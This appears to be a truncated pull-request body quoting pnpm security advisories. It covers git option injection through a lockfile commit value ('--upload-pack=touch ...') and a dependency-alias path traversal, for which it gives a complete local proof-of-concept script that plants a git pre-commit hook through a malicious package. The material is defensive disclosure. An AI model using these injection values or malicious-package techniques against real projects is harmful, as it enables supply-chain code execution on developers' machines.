await execGit(['fetch', '--depth', '1', 'origin', resolution.commit], { cwd: tempLocation })Because resolution.commit is appended before a -- separator, Git can parse a commit value beginning with - as an option. The same file later passes the value to git checkout without a separator:
await execGit(['checkout', resolution.commit], { cwd: tempLocation })resolution.commit comes from the lockfile and is typed as a plain string; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git.
Proof of Concept
bash autofyn_audit/exploits/vuln11_git_upload_pack_rce/exploit.sh
##### Creates a local bare git repo and triggers the shallow-fetch path.
##### Replaces the lockfile commit hash with '--upload-pack=touch /tmp/vuln11_pwned'.
##### Result: PASS -- /tmp/vuln11_pwned created by injected touch command.The PoC uses a local file://githost/... repository because the injection requires a local or SSH transport. HTTPS transport ignores --upload-pack.
Impact
Code execution as the user running pnpm install, under specific transport conditions. The attacker must modify pnpm-lock.yaml, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune.
Suggested Remediation
Add a -- separator before lockfile-controlled git revision values. Validate resolution.commit matches /^[0-9a-f]{40}$/i before passing to Git.
Discovered by AutoFyn Full audit report: audit_report.md Exploit script: exploit.sh
Severity
- CVSS Score: 6.4 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-p4xf-rf54-rj3x
- https://nvd.nist.gov/vuln/detail/CVE-2026-50014
- https://github.com/advisories/GHSA-p4xf-rf54-rj3x
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement
CVE-2026-50016 / GHSA-hwx4-2j3j-g496
More information
Details
Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:
.huskyor.githooksfor Git hook dispatchersscripts/,tools/,bin/, ortests/for project scripts and CI commands.github/actions/<name>for local GitHub Actions used later in the workflowdist/or other publish/build output directories beforepnpm packorpnpm publishnode_modules/.binor undeclarednode_modules/<name>paths used by later command or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with pnpm@11.2.1.
Impact
Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.
Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.
Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.
Conceptually, a transitive alias like this:
{
"@​x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}is eventually treated like:
path.join(parentPackageNodeModulesDir, "@​x/../../../../../.git/hooks")The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.
The dependency chain is:
victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal aliasThe malicious transitive package metadata contains:
{
"@​x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.
Proof Of Concept
Run:
./run.sh
#!/bin/sh
set -eu
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"
rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"
cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
"name": "payload-hooks",
"version": "1.0.0",
"bin": {
"pre-commit": "pre-commit"
},
"files": [
"pre-commit"
]
}
JSON
cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"
cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
"name": "bad",
"version": "1.0.0",
"description": "transitive registry package",
"dependencies": {
"@​x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}
}
JSON
cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
"name": "normal",
"version": "1.0.0",
"description": "normal looking package from a registry",
"dependencies": {
"bad": "1.0.0"
}
}
JSON
(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')
const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')
function shasum (filename) {
return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
.toString()
.trim()
.split(/\s+/)
.pop()
}
function integrity (filename) {
return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
.toString('base64')
}
function packument (pkgName, req) {
const filename = `${pkgName}-1.0.0.tgz`
const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
const origin = `http://${req.headers.host}`
return {
name: pkgName,
'dist-tags': {
latest: '1.0.0',
},
versions: {
'1.0.0': {
...manifest,
dist: {
tarball: `${origin}/${pkgName}/-/${filename}`,
shasum: shasum(filename),
integrity: integrity(filename),
},
},
},
}
}
const server = http.createServer((req, res) => {
const pathname = new URL(req.url, 'http://local.invalid').pathname
if (req.method !== 'GET') {
res.writeHead(405)
res.end('method not allowed')
return
}
if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
const pkgName = pathname.slice(1)
res.writeHead(200, { 'content-type': 'application/json' })
res.end(JSON.stringify(packument(pkgName, req)))
return
}
const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
if (tarballMatch) {
const file = path.join(tarballsDir, tarballMatch[2])
res.writeHead(200, { 'content-type': 'application/octet-stream' })
fs.createReadStream(file).pipe(res)
return
}
res.writeHead(404)
res.end('not found')
})
server.listen(0, '127.0.0.1', () => {
fs.writeFileSync(portFile, String(server.address().port))
fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM
WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
WAIT_COUNT=$((WAIT_COUNT + 1))
if [ "$WAIT_COUNT" -gt 100 ]; then
echo "local registry did not start" >&2
exit 1
fi
sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")
cd "$VICTIM_DIR"
git init -q
git config user.email demo@example.invalid
git config user.name "Demo User"
cat > package.json <<'JSON'
{
"name": "victim",
"version": "1.0.0"
}
JSON
cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF
printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"
pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent
echo 'trigger commit' > change.txt
git add change.txt
set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e
printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"
The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.
Requirements:
pnpm
npm
node
git
opensslExpected output:
git commit exit code: 0
git commit stderr:
PWNEDPWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.
Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-hwx4-2j3j-g496
- https://nvd.nist.gov/vuln/detail/CVE-2026-50016
- https://github.com/advisories/GHSA-hwx4-2j3j-g496
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm binds unscoped user-level npm auth credentials to a repository-selected registry
CVE-2026-50017 / GHSA-cjhr-43r9-cfmw
More information
Details
Summary
pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.
In the reproduced case, the us
✂ Note
PR body was truncated to here.